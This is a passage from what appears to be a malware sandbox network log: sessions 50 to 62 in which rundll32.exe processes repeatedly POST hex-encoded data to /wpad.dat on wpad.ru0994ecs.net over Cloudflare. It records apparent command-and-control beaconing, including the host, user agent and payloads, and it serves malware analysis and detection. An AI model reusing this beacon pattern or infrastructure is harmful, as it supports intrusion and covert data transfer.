2024-04-16 21:03:06 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:07 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TNP0owtbSqw%2BjSRTjhHHPD2G6pQxKjSNgfnhPK6W7K6LkL%2Fh%2FP%2FCz5kdKnQPjEJse%2B59RlQq3TWemcaHGlodh5o%2BzuskaxQYlcB5H8jwDefp6uiH3i5Biducy9DB5kz452tzMW4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ec4fe23455e-ATL
2024-04-16 21:03:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49785	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:08 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:08 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:08 UTC	545	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KS2f95us%2B3mfFpAbbyip4hgvnho6wj%2Fd%2FkOvAiqKJR3m9Sl%2BZj2klsfixn8R4TmTYcXVIwxUX%2BPn%2BEHSNiY34gjdT3nHAMA3agwg6di7bo%2BFwivPbR4zZPUO%2B3siqNVI%2BKlqRUc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ecc8aa3ad62-ATL
2024-04-16 21:03:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49786	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:08 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:08 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:08 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z2o7OwLgTLSY8AezOpQrUbcqSvtrjBtUi7r3sri7YT882hwQYBoPKeBiHIJlUBO4bN1fae5EnR4Orl9ghupE%2FOgBoFFH0%2FJaA64LjKWvTiMDX2dHTKcXIOtdBw8umT20wryS6%2BQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ecc8ee01d66-ATL
2024-04-16 21:03:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49787	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:08 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:08 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:08 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LVcam9Q9qmXnwK0VDdTJOn2AVRgr%2FcekujCYUjf3IQX%2F21uzfAXyg2rfrs%2BK7dy4rXXfyHFpdAJa7EHH4GvdsdhKvOKm3opRVUiZ0ppCBu7HGlDCC4I1HOuKt97CdLcF1j%2FJs2o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ecf2d742969-ATL
2024-04-16 21:03:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49788	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:10 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:10 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:10 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=muICNqC2L9RfN8yraon4AMS2QU9Po2vNQu0p3i95RGHi865KmELhh9g%2FZJQ1XiBzlOAYZPB%2FaPmesng7T%2BTaya8cA5GlVfpt5KC2%2BltsOLfyY4w64WNpz0qQ7c1tiTjj8bECdEs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ed92b09677d-ATL
2024-04-16 21:03:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49791	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:10 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:10 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:10 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pdhwsZoXPgH5da%2FfBJIuMMCayQXGh5Mgyx9pLsnR%2B3asEekezuu5BkzVPYDU7ULhPBMYPyJbT0OY9ksTe9tCKxwpbt2SHHvb%2BxkepHWkc%2B0W5nrOGhZEvlqUGTt3kbbtiwIvu8E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571edce8e5675f-ATL
2024-04-16 21:03:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49790	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:10 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:10 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:11 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q%2BFt211pUoDcmix2F3SOODORP2IV2uBocpIV4pi0qDjPfW%2FFrnfsn3Oc7qMbsxibTb%2BobOI%2F0lJUUjtU%2F6ONL5DujIgv0gtQmJPbxVmDfAiYMVqfQneLuThrCyGeS1XWPs0m%2FYw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571edcebfdada0-ATL
2024-04-16 21:03:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49792	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:13 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:13 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:13 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yqwQopdNbgngk9KcC9YzWNifDa3JV9Wl5jZDaV%2BtBLuPCwZ9gckUU3LS5oWnBXmrU6ZJmULjcBzoKQ1tzNU501RUsGK%2F0MHCewtT8b2ziWjo36FE83NtIm%2FHAbhlXd43UH2%2BOfA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571eecfd3dade1-ATL
2024-04-16 21:03:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49793	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:13 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:13 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:13 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FaxO1rKptgXWkeSyt1kFXKrPIsfMwPIBFA7uH6fyLDzh3k9Cr3iOZKLsPBmuag0NaIhHrXkmhcsg7VWcNfc1ACumx2xpRmpK5s6pOGfov0Xaf99oLhto48Zc04I6OMV7IChtpZ0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571eed2884135f-ATL
2024-04-16 21:03:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49794	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:14 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:14 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:15 UTC	547	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9hSwT%2F0%2FtThkjePZJS8yKrr9EZp7RuQTklHM1o%2FjJ9uXLh8pnOwtwcJUHwOig1np6tZB2Fxet1pz%2Byj%2Fzk8vO%2BiQSPDdRIpkYJ%2Bui%2BUDBlXWw%2BvondetahMR%2Bnm68wwsU0nyWNc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ef639887b99-ATL
2024-04-16 21:03:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49795	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:14 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:14 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:15 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m8sw5LemwEVrm5TBGZpY8fY9jPPMRQevgz8lhN557s081C1LEs4RA7ATSGsCqUtyqpJrKtS8WcJ%2FHyQgqX9I47HaBq9kvz4M%2B8sgmGpL05gxR5b5sq%2B1vhgLC%2BkXf8%2FW7g%2BvpUc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ef74b5a138f-ATL
2024-04-16 21:03:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49796	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:14 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:14 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:15 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tkzIvzftcqitU2fEn2uUKeQw6JMfq0Ft8S6MjdORhxBrfK6iDC68rxOAJEeJbEPwJ61cvrzAfEYq8V2Fc%2FTrNRJWkYabvdnW0r%2FH%2FyuxokFGJYyVJeL7GVHwwhamwfRDvhpCFbw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ef76a0053d2-ATL
2024-04-16 21:03:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49797	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:17 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:17 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:17 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IFa0EHAqfc9iGPs72dnzLAFXMeI3YMnXJhwH9nPrqn19CcRY%2B3qh6lVk7rPunEhab%2BGWMttWESqVbVhNmQh7qPT1fV2ZcgKPDjBv3lgExVOj55UnV8CiOSnLoiAAb9Q7AbFREpc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f067a914542-ATL
2024-04-16 21:03:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49798	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:18 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
